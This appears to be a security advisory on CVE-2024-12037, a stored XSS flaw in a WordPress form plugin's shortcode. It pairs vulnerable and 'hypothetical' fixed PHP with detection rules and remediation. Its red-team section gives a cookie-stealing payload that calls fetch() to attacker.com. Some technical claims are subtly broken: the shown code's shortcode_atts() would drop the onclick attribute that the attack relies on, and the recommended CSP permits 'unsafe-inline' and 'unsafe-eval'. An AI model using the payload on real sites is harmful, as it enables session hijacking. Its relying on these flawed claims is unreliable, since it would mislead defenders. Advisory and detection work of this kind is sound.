CVE-2024-12037

Executive Summary

CVE-2024-12037 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) WordPress plugin, developed by Mihajlovicnenad. The flaw resides in the bf_new_submission_link shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft.

The vulnerability affects all versions up to and including 2.8.13. No official patch has been released, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify they are not using a compromised version from unofficial sources. No known supply chain attacks have been reported, but the lack of a patch increases the risk of malicious actors forking the plugin or distributing backdoored copies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
• User Interaction (UI): None (N) – No user action needed for injection.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.4 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation via XSS (e.g., creating admin accounts) raises the effective risk. The lack of a patch and the plugin's popularity among user-submission sites make it a target for automated attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The bf_new_submission_link shortcode is used to generate a link for users to submit new posts. The plugin accepts user-supplied attributes (e.g., class, style, onclick) without proper sanitization. When the shortcode is rendered, these attributes are directly output into the HTML, allowing an attacker to inject JavaScript.

Root Cause: The plugin uses shortcode_atts() to merge default attributes with user-supplied ones, but it does not validate or escape the attribute values. The output is then echoed without using WordPress's esc_attr() or wp_kses() functions.

Attack Flow:

1. An attacker with Contributor-level access creates a new post or page.
2. They insert the shortcode with a malicious attribute, e.g.:

   [bf_new_submission_link onclick="alert('XSS')"]
   

3. When any user (including admins) views the page, the JavaScript executes.
4. The attacker can steal cookies, perform actions on behalf of the victim, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.8.13):

function bf_new_submission_link_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
        'text' => 'New Submission'
    ), $atts);
    $output = '<a href="' . get_permalink() . '" class="' . $atts['class'] . '" style="' . $atts['style'] . '">' . $atts['text'] . '</a>';
    return $output;
}
add_shortcode('bf_new_submission_link', 'bf_new_submission_link_shortcode');

Patched Code (hypothetical fix):

function bf_new_submission_link_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
        'text' => 'New Submission'
    ), $atts);
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    $text = esc_html($atts['text']);
    $output = '<a href="' . esc_url(get_permalink()) . '" class="' . $class . '" style="' . $style . '">' . $text . '</a>';
    return $output;
}
add_shortcode('bf_new_submission_link', 'bf_new_submission_link_shortcode');

The fix uses esc_attr() for HTML attributes and esc_html() for text content, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with the vulnerable plugin (<=2.8.13).
• An account with Contributor-level access or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. In the content editor (Text mode), insert:

   [bf_new_submission_link onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
   

4. Publish the post.
5. When an administrator views the post, their cookies are sent to the attacker's server.

Advanced Payload:

[bf_new_submission_link style="background:url('javascript:alert(1)')"]

Note: This may be blocked by modern browsers but demonstrates the vector.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the shortcode bf_new_submission_link with unusual attributes (e.g., onclick, onmouseover, style with JavaScript).
• Use the Sigma rule below to detect shortcode injection attempts in web server logs.

Hardening:

• Disable the plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block shortcodes with event handlers.
• Use WordPress security plugins that scan for XSS in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/post-form/post-form.php (or similar main plugin file) – check for modifications.
• Database: Posts/pages containing the shortcode bf_new_submission_link with attributes like onclick, onerror, or javascript: in style.
• Network: Outbound connections to unknown domains from the WordPress server, especially on page views.
• Logs: Web server logs showing requests to pages with the shortcode and unusual query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_12037_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WordPress post content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12037"
    strings:
        $shortcode = /\[bf_new_submission_link[^\]]*?(on\w+|javascript:|style\s*=\s*["'][^"']*?(expression|url\s*\(|javascript))/ nocase
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-12037 - Stored XSS via bf_new_submission_link Shortcode
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing the vulnerable shortcode with malicious attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'bf_new_submission_link'
        cs-uri-query|re: '(on\w+=|javascript:|style=.*(expression|url\())'
    condition: selection
falsepositives:
    - Legitimate use of style attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12037 - Stored XSS via bf_new_submission_link Shortcode"; flow:to_server,established; content:"bf_new_submission_link"; http_uri; pcre:"/(on\w+=|javascript:|style=.*(expression|url\())/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Remove or edit any posts/pages containing the vulnerable shortcode with suspicious attributes.
3. Change all passwords for WordPress admin accounts, as they may have been compromised.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and applying the code fix described in the "Vulnerable vs. Patched Code" section.
• Monitor the WordPress Plugin Directory for updates from the vendor.
• Implement a Content Security Policy (CSP) header to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
  

  Note: unsafe-inline is required for many WordPress plugins but reduces security.

Alternative Plugins:

• Consider replacing with a maintained alternative like "WP User Frontend" or "User Submitted Posts".

Valters IT
Securing Digital Frontiers